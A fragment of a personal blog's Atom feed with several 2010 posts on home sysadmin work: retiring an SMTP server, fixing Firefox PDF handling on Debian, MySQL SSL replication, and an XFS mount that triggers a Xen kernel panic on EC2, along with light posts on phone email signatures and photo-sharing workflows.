src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2628586800865428400</id><published>2010-02-28T09:50:00.000-08:00</published><updated>2010-02-28T09:57:38.656-08:00</updated><title type='text'>Great moments in sysadminning</title><content type='html'>Folks, I finally retired my last SMTP server. I no longer run a server that accepts mail on port 25 (or port 527, or port 465) anywhere on the Internet. Forwarding my mail is now Someone Else's Responsibility.*&lt;br /&gt;&lt;br /&gt;I had switched to Google Apps Premium for my business mail long ago, but continued to run my personal mail through an SMTP server. Comcast, for some reason, required me to use SMTP AUTH, and getting the password seemed like a major bother.&lt;br /&gt;&lt;br /&gt;I discovered today that I do not actually have to use SMTP AUTH to connect to smtp.comcast.net (which makes perfect sense; Comcast shouldn't have a problem determining if mail was coming from its customers.) So I switched nullmailer to point to smtp.comcast.net.&lt;br /&gt;&lt;br /&gt;The droid was a bit trickier. Apparently, Gmail will act as your &lt;a href="http://mail.google.com/support/bin/answer.py?hl=en&amp;amp;answer=13287"&gt;SMTP server&lt;/a&gt; if you ask it nicely. Of course, I'm sure Google will keep a copy of all of your outgoing mail forever and use it to build a privacy-invading psychological profile of you, but whatever. My Droid's keyboard is too small to write anything that interesting, anyway. One problem: after I entered the settings into k9mail, k9mail was &lt;span style="font-style: italic;"&gt;still&lt;/span&gt; sending mail through the old server. I shut down the old server and rebooted the phone; that seemed to fix it.&lt;br /&gt;&lt;br /&gt;* I have high hopes, although I'm of course half-expecting to see dropped messages, long-delayed messages, weeks-long email droughts, and all of the other problems. I think the only real solution is to give up on computers altogether.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-2628586800865428400?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/2628586800865428400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/02/great-moments-in-sysadminning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2628586800865428400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/2628586800865428400'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/02/great-moments-in-sysadminning.html' title='Great moments in sysadminning'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-5202174655932071787</id><published>2010-02-25T19:21:00.000-08:00</published><updated>2010-02-25T19:23:15.896-08:00</updated><title type='text'>signature fun</title><content type='html'>&lt;span style="font-family:courier new;"&gt;I used to wonder why smartphones inserted advertisements at the    end of&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; email messages: "Sent from my Motorola Q.", "Sent from my iPhone.",&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; "Sent from my Verizon Wireless Blackberry."  "Sent from my Palm Pre."&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; Then I realized that it was an apology. One would look less curt with&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; a short message or sloppy with a message with typos. Some&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; correspondants even took took the opportunity for humor: "Sent from a&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; mobile device with a small, cramped keyboard." "Message by E---. Typos&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; by iPhone."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Could one take advantage of these signatures? Perhaps, by adding "Sent&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; from a mobile device." to _all_ of one's emails, one could avoid ever&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; seeming curt or sloppy. One would also seem exceptionally busy (for&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; busy people are always handling email on the road) but still dedicated&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; (for, when one does send a long message with lots of links, the&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; recipient will be thrilled that one took so long to tap it out on an&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; iPhone.)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Joe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Sent from a real computer.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-5202174655932071787?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/5202174655932071787/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/02/signature-fun.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5202174655932071787'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/5202174655932071787'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/02/signature-fun.html' title='signature fun'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3578203234195647328</id><published>2010-02-10T13:10:00.000-08:00</published><updated>2010-02-10T13:13:46.669-08:00</updated><title type='text'>The best part about Linux: you get to be your own sysadmin!</title><content type='html'>Some time back, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Firefox&lt;/span&gt; started trying to open &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;PDFs&lt;/span&gt; in the GNU Image Manipulation Program, which is a dreadful way to read &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;PDFs&lt;/span&gt;. The only alternative was to save the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;PDF&lt;/span&gt; and open it from the command line -- clicking it in the downloads list &lt;span style="font-style: italic;"&gt;also&lt;/span&gt; launched the photo editor.&lt;br /&gt;&lt;br /&gt;This is apparently a known Debian bug: see &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=522998"&gt;this report&lt;/a&gt;. To fix it, edit /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;usr&lt;/span&gt;/share/applications/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;mimeinfo&lt;/span&gt;.cache and make sure that the line for application/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;pdf&lt;/span&gt; does not include any image editors.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3578203234195647328?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3578203234195647328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/02/best-part-about-linux-you-get-to-be.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3578203234195647328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3578203234195647328'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/02/best-part-about-linux-you-get-to-be.html' title='The best part about Linux: you get to be your own sysadmin!'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1875417882834178330</id><published>2010-02-05T12:49:00.001-08:00</published><updated>2010-02-05T12:57:37.189-08:00</updated><title type='text'>Convenience is worth a thousand megapixels</title><content type='html'>I was just looking through my camera's memory card. I realized how much easier fancy phones can make sending photos.&lt;br /&gt;&lt;br /&gt;"Old" &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;workflow&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;1) Plug memory card directly into &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Thinkpad&lt;/span&gt; T61 (no &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;USB&lt;/span&gt; dongle, fortunately). Check &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;dmesg&lt;/span&gt; to&lt;br /&gt;see if it recognized it. Good. I can save 5 min. fiddly with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;lsmod&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;rmmod&lt;/span&gt; and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;modprobe&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;2) &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;sudo&lt;/span&gt; mount /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;mmcblk&lt;/span&gt;0p1 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;tmp&lt;/span&gt;/&lt;br /&gt;&lt;br /&gt;3) &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;cd&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;tmp&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;DCIM&lt;/span&gt;/102_FUJI&lt;br /&gt;&lt;br /&gt;4) Look around with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;gqview&lt;/span&gt;. What do I call these? &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;Ok&lt;/span&gt;, how about "lots".&lt;br /&gt;&lt;br /&gt;5) &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;mv&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;tmp&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;DCIM&lt;/span&gt;/102_FUJI ~/lots1-raw&lt;br /&gt;  Do something else while that runs. I will eventually copy this to another server and &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;chattr&lt;/span&gt; +i.&lt;br /&gt;&lt;br /&gt;6) Oops. I wasn't root, so the screen filled up with&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;mv&lt;/span&gt;: cannot remove `102_FUJI/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;DSCF&lt;/span&gt;2313.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;JPG&lt;/span&gt;': Permission denied&lt;br /&gt;&lt;br /&gt;7) Set paranoia bit. Do the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;mv&lt;/span&gt; again as root, then diff the folders. They're the same. Throw away the second folder.&lt;br /&gt;&lt;br /&gt;8) Look for photos I like with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;gqview&lt;/span&gt;. Find one I'd like to email.&lt;br /&gt;&lt;br /&gt;9) It's 5MB, so cut it down with a photo-editing program.&lt;br /&gt;&lt;br /&gt;10) My mail runs on another computer, so &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;scp&lt;/span&gt; photo.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;jpg&lt;/span&gt; other-computer:&lt;br /&gt;&lt;br /&gt;11) Launch mutt.&lt;br /&gt;&lt;br /&gt;12) Create a new message. Type a subject. Attach the photo. Send.&lt;br /&gt;&lt;br /&gt;13) Throw away photo.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;jpg&lt;/span&gt; on other-computer.&lt;br /&gt;&lt;br /&gt;14) Repeat from step 8 for any other photos I'd like to send.&lt;br /&gt;&lt;br /&gt;Final score: Five different programs (counting bash and ssh), many mouse-keyboard switches, lots of typing, many seconds of waiting.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"New" &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;workflow&lt;/span&gt;, with the Droid:&lt;br /&gt;&lt;br /&gt;1) Take photo&lt;br /&gt;&lt;br /&gt;2) Press the tiny thumbnail of the just-taken photo&lt;br /&gt;&lt;br /&gt;3) press "share"&lt;br /&gt;&lt;br /&gt;4) press "k9mail"&lt;br /&gt;&lt;br /&gt;5) Start typing an email address. k9mail guesses the rest. Fill in the subject, press send.&lt;br /&gt;&lt;br /&gt;6) Check every so often to see if the message went through.&lt;br /&gt;&lt;br /&gt;Final score: Two programs, one switch (screen-&gt;keyboard), almost no waiting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1875417882834178330?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1875417882834178330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/02/convenience-is-worth-thousand.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1875417882834178330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1875417882834178330'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/02/convenience-is-worth-thousand.html' title='Convenience is worth a thousand megapixels'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3988209585092771226</id><published>2010-02-01T16:50:00.000-08:00</published><updated>2010-02-01T17:02:04.593-08:00</updated><title type='text'>SSL and mysql</title><content type='html'>When setting up &lt;a href="http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html"&gt;SSL replication with MySQL&lt;/a&gt; using a self-signed certificate, be sure that:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The CA certificate is world-readable on the server, and&lt;/li&gt;&lt;li&gt;...that you copy the CA cert to the client and specify the path to the cert file with --ssl-ca=/path/to/cacert.pem.&lt;/li&gt;&lt;/ul&gt;If you do not, you may get the cryptic &lt;span style="font-family:courier new;"&gt;"ERROR 1045 (28000): Access denied for user 'user'@'host' (using password: YES)", &lt;/span&gt;rather than the more specific&lt;span style="font-family:courier new;"&gt; "ERROR 2026 (HY000): SSL connection error."&lt;br /&gt;&lt;br /&gt;Starting a replication slave will look something like this:&lt;br /&gt;&lt;br /&gt;change master to master_host='master.example.com', master_user='sslrepl', master_password='password', master_log_file='mysql-bin.000009', master_log_pos=12345, master_ssl=1, MASTER_SSL_CA='/etc/mysql/certs/ca-cert.pem';&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3988209585092771226?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3988209585092771226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/02/ssl-and-mysql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3988209585092771226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3988209585092771226'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/02/ssl-and-mysql.html' title='SSL and mysql'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-7099000875717111312</id><published>2010-01-29T18:44:00.000-08:00</published><updated>2010-01-29T19:41:11.822-08:00</updated><title type='text'>The joys of EC2 and Debian</title><content type='html'>I'm setting up a new EC2 machine to be a MySQL replication slave. Unfortunately, I'm running in to some issues.&lt;br /&gt;&lt;br /&gt;I started by creating a EBS volume to hold the database using the AWS management console. Then I attached it to the new system (&lt;tt&gt;ami-daf615b3, from &lt;a href="http://alestic.com/"&gt;alestic&lt;/a&gt;)&lt;/tt&gt; used fdisk to make a partition, sdf1.&lt;br /&gt;&lt;br /&gt;I created an XFS filesystem, just like I have before, using mkfs.xfs /dev/sdf1. That worked. But when I tried to mount it, I got this message:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;# mount /dev/sdf1 /vol/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;mount: wrong fs type, bad option, bad superblock on /dev/sdf1,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;       missing codepage or helper program, or other error&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;       In some cases useful info is found in syslog - try&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;       dmesg | tail  or so&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dmes showed the rather unenlightening:&lt;br /&gt;&lt;br /&gt;XFS: bad version&lt;br /&gt;XFS: SB validate failed&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thread.gmane.org/gmane.linux.pld.bugs/1567"&gt;This thread&lt;/a&gt; suggested that kernel 2.6.16 and xfsprogs 2.9.6 were incompatible. I was running kernel 2.6.21 and xfsprogs 3.1.0, but I tried the workaround described therein: running mkfs.xfs with the option lazy-count=0. According to the &lt;a href="http://linux.die.net/man/8/mkfs.xfs"&gt;documentation&lt;/a&gt;, that may cause a performance hit. Oh well. I recreated the FS and tried mounting it again.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;domU-12-31-39-02-F5-F4:/home/jdb# mount /dev/sdf1  /vol/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;domU-12-31-39-02-F5-F4:/home/jdb# &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:------------[ cut here ]------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:invalid opcode: 0000 [#1]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:SMP &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:CPU:    0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:EIP:    0061:[&lt;c101bf0e&gt;]    Tainted: GF      VLI&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:EFLAGS: 00210282   (2.6.21.7-2.fc8xen-ec2-v1.0 #2)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:EIP is at xen_pgd_pin+0x54/0x5e&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:eax: ffffffea   ebx: c1439ef8   ecx: 00000001   edx: 00000000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:esi: 00007ff0   edi: 00000000   ebp: c19d18f0   esp: c1439ef8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:ds: 007b   es: 007b   fs: 00d8  gs: 0033  ss: 0069&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:Process udevd (pid: 254, ti=c1439000 task=c1415670 task.ti=c1439000)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:Stack: 00000002 0007e953 2cf6a000 0059ed40 00000000 c101816d c1bf2300 c1018196 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:       c14f82dc c102250e c14f88d0 c1439fb8 c106e111 c1439fb8 bf8a8aa4 01200011 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:       00000000 c19d18f0 c1bf2300 c1346640 c14f82e8 c14f82fc c14f82f8 c1bf2300 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:Call Trace:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c101816d&gt;] __pgd_pin+0x2f/0x3c&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c1018196&gt;] mm_pin+0x1c/0x23&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c102250e&gt;] copy_process+0xac3/0x10bc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c106e111&gt;] kmem_cache_alloc+0x23/0x98&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c1022b58&gt;] do_fork+0x51/0x13a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c10841ee&gt;] mntput_no_expire+0x11/0x6a&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c100321e&gt;] sys_clone+0x36/0x3b&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: [&lt;c1005688&gt;] syscall_call+0x7/0xb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel: =======================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:Code: eb fe a1 24 c2 38 c1 8b 14 90 81 e2 ff ff ff 7f 89 54 24 04 89 e3 b9 01 00 00 00 31 d2 be f0 7f 00 00 e8 36 54 fe ff 85 c0 79 04 &amp;lt;0f&amp;gt; 0b eb fe 83 c4 0c 5b 5e c3 56 89 c2 53 83 ec 0c c1 ea 0c 80 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt;Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;"&gt; kernel:EIP: [&lt;c101bf0e&gt;] xen_pgd_pin+0x54/0x5e SS:ESP 0069:c1439ef8&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now a kernel panic is not exactly a good sign. Maybe I'll try a non-alestic image next. Unfortunately, there are no other quasi-official Debian images that I know of. But there are Ubuntu images produced by Canonical. I tried &lt;a href="http://developer.amazonwebservices.com/connect/entry.jspa?externalID=2754"&gt;this one&lt;/a&gt;, and so far, the filesystem has worked.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7099000875717111312?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7099000875717111312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2010/01/joys-of-ec2-and-debian.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7099000875717111312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7099000875717111312'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2010/01/joys-of-ec2-and-debian.html' title='The joys of EC2 and 